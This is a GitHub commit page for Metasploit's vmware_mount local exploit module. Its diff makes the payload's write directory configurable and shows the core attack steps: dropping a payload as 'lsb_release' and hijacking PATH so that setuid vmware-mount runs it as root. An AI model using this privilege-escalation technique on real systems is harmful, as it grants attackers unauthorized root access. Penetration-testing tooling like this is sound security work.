Skip to content

Commit 48904c2

Browse files
committed
Land rapid7#4277 - vmware-mount configurable directory
2 parents 10a05a3 + 985838e commit 48904c2

File tree

1 file changed

+9
-5
lines changed

1 file changed

+9
-5
lines changed

modules/exploits/linux/local/vmware_mount.rb

Lines changed: 9 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -53,6 +53,9 @@ def initialize(info={})
5353
'DisclosureDate' => "Aug 22 2013"
5454
}
5555
))
56+
register_options([
57+
OptString.new("WRITABLEDIR", [ true, "A directory where you can write files.", "/tmp" ]),
58+
], self.class)
5659
end
5760

5861
def check
@@ -68,13 +71,14 @@ def exploit
6871
fail_with(Failure::NotVulnerable, "vmware-mount doesn't exist or is not setuid")
6972
end
7073

71-
write_file("lsb_release", generate_payload_exe)
72-
73-
cmd_exec("chmod +x lsb_release")
74-
cmd_exec("PATH=.:$PATH /usr/bin/vmware-mount")
74+
lsb_path = File.join(datastore['WRITABLEDIR'], 'lsb_release')
75+
write_file(lsb_path, generate_payload_exe)
76+
cmd_exec("chmod +x #{lsb_path}")
77+
cmd_exec("PATH=#{datastore['WRITABLEDIR']}:$PATH /usr/bin/vmware-mount")
7578
# Delete it here instead of using FileDropper because the original
7679
# session can clean it up
77-
cmd_exec("rm -f lsb_release")
80+
cmd_exec("rm -f #{lsb_path}")
81+
7882
end
7983

8084
def setuid?(remote_file)

0 commit comments

Comments
 (0)